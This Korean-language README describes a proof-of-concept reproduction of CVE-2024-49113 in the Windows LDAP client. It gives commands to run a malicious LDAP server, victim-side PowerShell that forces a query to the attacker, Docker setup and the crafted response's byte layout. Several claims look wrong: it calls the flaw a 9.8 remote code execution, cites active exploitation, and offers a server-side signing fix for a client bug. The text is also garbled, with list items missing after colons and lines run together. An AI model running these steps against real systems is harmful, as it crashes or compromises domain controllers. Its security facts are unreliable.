
cve-2024-49113-ldap_nightmare_reproduction의 재현
Windows LDAP 클라이언트 원격 코드 실행(힙 기반 버퍼 오버플로)
| 필드 | 값 |
|---|---|
| CVE | CVE-2024-49113 |
| 별칭 | LDAP Nightmare |
| CVSS 3.1 | 9.8 — 치명적(Critical) |
| CWE | CWE-122 — 힙 기반 버퍼 오버플로 |
| 발견 | SafeBreach(2025년 1월 PoC 공개) |
| 악용 | 실제 환경에서 활발한 악용이 확인됨 |
| 패치 | Microsoft 2024년 12월 Patch Tuesday(KB5048685 / KB5048652) |
CVE-2024-49113은 Windows LDAP 클라이언트 라이브러리(wldap32.dll)의 심각한 힙 기반 버퍼 오버플로 취약점입니다. 인증되지 않은 원격 공격자는 LDAP 쿼리를 수행하는 피해 Windows 시스템(예: 디렉터리 조회를 수행하는 도메인 컨트롤러)에 특수하게 조작된 LDAP 응답을 전송하여 이 취약점을 트리거할 수 있습니다.
Windows 도메인 컨트롤러는 다른 도메인 컨트롤러, 멤버 서버, 글로벌 카탈로그 서버에 정기적으로 LDAP 쿼리를 전송하므로 이 결함은 Active Directory 환경에서 특히 위험합니다. 악용에 성공하면 (도메인 컨트롤러에서) 로컬 시스템 계정의 컨텍스트로 원격 코드 실행이 이루어져 공격자가 대상 서버를 완전히 제어할 수 있게 됩니다.
공개된 개념 증명("LDAP Nightmare"로 명명)은 Microsoft가 2024년 12월 Patch Tuesday에서 수정 사항을 배포한 후 SafeBreach가 2025년 1월에 공개했습니다.
이 취약점은 RFC 4511에 정의된 LDAP(Lightweight Directory Access Protocol) 클라이언트의 Windows 구현인 wldap32.dll에 존재합니다.
LDAP 클라이언트가 Search Result Entry(검색 결과 항목) 응답을 수신하면 라이브러리는 BER(Basic Encoding Rules) 디코더 루프에서 LDAP 메시지의 프로토콜 데이터 유닛(PDU)을 구문 분석합니다. LDAP 특성(attribute) 값을 구문 분석하는 동안 힘 메모리 할당 로직의 결함으로 인해 디코더가 힙에 할당된 버퍼의 경계를 벗어나 데이터를 쓰게 됩니다.
구체적으로:
지원되는 모든 Windows Server 및 Windows Client 에디션은 2024년 12월 10일 보안 업데이트 이전 버전에서 취약합니다:
이 CVE를 해결하는 2024년 12월 Patch Tuesday 업데이트는 다음과 같습니다:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
피해자 시스템에서 설치된 KB를 확인합니다:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
결과가 반환되지 않으면 시스템은 패치되지 않아 취약한 상태입니다.
공격자 시스템에서 이 PoC를 실행합니다:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
여기서 192.168.1.100은 공격자의 IP 주소입니다.
참고: Linux에서 포트 389에 바인딩하려면 루트(sudo) 권한이 필요합니다. Windows에서는 관리자 권한이 필요할 수 있습니다.
피해자 시스템에서(PowerShell, 관리자 권한):
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
또는 Windows Server/RSAT에 포함된 ldp.exe를 사용합니다:
DC=evil,DC=local[*] Sending malicious search result entry...를 출력하고 조작된 응답을 전송합니다.lsass.exe 또는 LDAP 클라이언트 프로세스가 액세스 위반(0xC0000005)으로 크래시되거나 시스템에 BSOD가 발생할 수 있습니다.격리된 환경에서 PoC를 실행할 수 있도록 Dockerfile이 제공됩니다:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
포함된 exploit.py는 다음을 구현합니다:
--listen-ip, --listen-port, --payload-size)를 통해 구성 가능.# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
2024년 12월 10일 Patch Tuesday 업데이트를 설치합니다:
패치를 즉시 적용할 수 없는 경우:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
본 자료는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 대해 CVE-2024-49113을 악용하는 행위는 불법입니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다. 시스템을 테스트하기 전에 항상 서면 승인을 받으십시오.
| 오프셋 | 필드 | 값 |
|---|
| 0x00 | LDAP 메시지 태그(0x30) | 시퀀스 |
| 0x01–0x02 | 총 길이(조작됨) | 큰 값이 오버플로를 트리거함 |
| 0x03 | ProtocolOp(0x64) | Search Result Entry |
| 0x04–0x0E | LDAP 결과 필드 | 표준 헤더 |
| 0x0F+ | 특성 목록 | 오버플로 트리거(길이 = 0xFFFF) |
| 출처 | URL |
|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach(최초 발견) | SafeBreach Blog — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | 힙 기반 버퍼 오버플로 |
| RFC 4511 | LDAPv3 프로토콜 |
| 2024년 12월 Patch Tuesday | Microsoft 릴리스 정보 |